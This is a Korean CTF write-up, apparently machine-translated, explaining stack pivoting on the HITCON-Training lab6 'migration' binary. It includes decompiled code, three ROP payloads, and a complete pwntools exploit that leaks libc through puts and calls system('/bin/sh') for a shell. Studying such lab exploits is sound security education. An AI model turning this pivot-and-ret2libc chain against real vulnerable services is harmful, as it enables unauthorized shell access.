Pwn-스택 이동(stack immigration)
15589 단어 제목편
스택 이전(stack immigration)은 주로 스택이 넘칠 수 있는 공간의 크기가 부족한 문제를 해결하기 위해 HITCON-Training-master의lab6가 바로 이 원리를 사용한 것이다. 이 문제를 실천해 보자.
0x01: 인스턴스
제목 링크:https://github.com/scwuaptx/HITCON-Training/blob/master/LAB/lab6/migration
프로그램을 실행하면 구조가 간단합니다. 입력을 받으면 종료하고 창고를 열어서 실행할 수 없습니다.
Thunder_J@Thunder_J-virtual-machine:~/ $ ./migration
Try your best :
aaaa
Thunder_J@Thunder_J-virtual-machine:~/ $ checksec migration
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/migration'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
IDA에 넣고 분석하면 빈틈이 뚜렷하다.read 함수는 0x40의 크기를 읽고buf의 크기는 0x28에 불과하다.우리는 0x40 - 0x28 = 0x18의 크기를 이용할 수 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-28h]
if ( count != 1337 )
exit(1);
++count;
setvbuf(_bss_start, 0, 2, 0);
puts("Try your best :");
return read(0, &buf, 0x40u);
}
제목은 창고를 옮기라는 뜻입니다. 우리는 ebp의 값을 바꾸고 leave ret를 실행하여 창고에 대한 옮기기를 실현할 수 있습니다. 우리는 모두 세 번의payload로 나누어 발송합니다. 우선 처음에 우리는 옮기기를 잘 찾아서 ebp를bss+0x500으로 옮긴 다음에read 함수를 호출하여bss+0x500곳의 내용을 씁니다. 즉payload2의 내용을 씁니다.
# mov stack to bss + 0x500
payload1 = 'a'*40 + p32(elf.bss() + 0x500) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) +p32(0x100)
두 번째payload 우리는puts 함수의 주소를 누설하여libc의 기본 주소를 계산한 다음read 함수를 호출하여bss+0x400곳의 내용, 즉payload3의 내용을 쓴다
# leak libc
payload2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload2 += p32(0) + p32(buf2) + p32(0x100)
payload3의 내용이 더욱 뚜렷해졌습니다. getshell에 시스템("\bin\sh")을 직접 호출하십시오
payload3 = p32(buf) + p32(system_addr) + 'bbbb' + p32(binsh)
총괄적으로 말하면 우리가 이용할 수 있는 내용이 너무 작기 때문에 창고를 옮겨서 실행할 수 있는 주소로 옮겨서 우리의 셸코드를 쓰고 셸코드를 한 걸음 한 걸음 나누어 써야 한다. 마지막으로 getshell, 전체exp는 다음과 같다.
from pwn import *
context.log_level = 'debug'
r = remote('127.0.0.1',4000)
#r = process('./migration')
lib = ELF('/lib32/libc.so.6')
elf = ELF('./migration')
read_plt = elf.symbols['read']
puts_plt = elf.symbols['puts']
read_got = elf.got['read']
puts_got = elf.got['puts']
puts_lib = lib.symbols['puts']
system_lib = lib.symbols['system']
buf = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
pop_ebx = 0x0804836d
leave_ret = 0x08048418
r.recvuntil(':
')
# mov stack to bss + 0x500
payload1 = 'a'*40 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) +p32(0x100)
r.send(payload1)
sleep(0.1)
# leak libc
payload2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload2 += p32(0) + p32(buf2) + p32(0x100)
r.send(payload2)
sleep(0.1)
puts_addr = u32(r.recv(4))
print "puts_addr:" + hex(puts_addr)
libc_base = puts_addr - puts_lib
print "libc base is " + hex(libc_base)
system_addr = libc_base + system_lib
binsh_libc = lib.search("/bin/sh").next()
binsh = binsh_libc + libc_base
payload3 = p32(buf) + p32(system_addr) + 'bbbb' + p32(binsh)
r.send(payload3)
sleep(0.1)
r.interactive()
0x02: 요약
이런 방법을 이용하는 곳은 비교적 기이하기 때문에 참고 링크를 많이 단련해야 한다.https://blog.csdn.net/zszcr/article/details/79841848